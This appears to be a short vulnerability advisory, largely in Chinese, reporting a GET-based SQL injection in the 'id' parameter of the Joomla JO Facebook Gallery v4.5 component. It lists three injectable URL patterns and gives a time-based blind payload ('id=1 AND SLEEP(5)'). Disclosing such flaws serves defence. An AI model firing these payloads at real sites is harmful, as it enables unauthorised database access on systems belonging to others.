Joomla! Component JO Facebook Gallery v4.5 - SQL Injection
index.php中的id参数带入SQL语句存在GET类型注入
注入点:
http://localhost/[PATH]/index.php?option=com_jofacebookgallery&view=category&id=[SQL]
http://localhost/[PATH]/index.php?option=com_jofacebookgallery&view=albums&id=[SQL]
http://localhost/[PATH]/index.php?option=com_jofacebookgallery&view=photo&id=[SQL]
时间盲注 payload:
option=com_jofacebookgallery&view=category&id=1 AND SLEEP(5)
其他类型的注入:
![](https://images.seebug.org/contribute/add4983d-572e-4566-a762-d94db2a95e12)
暂无评论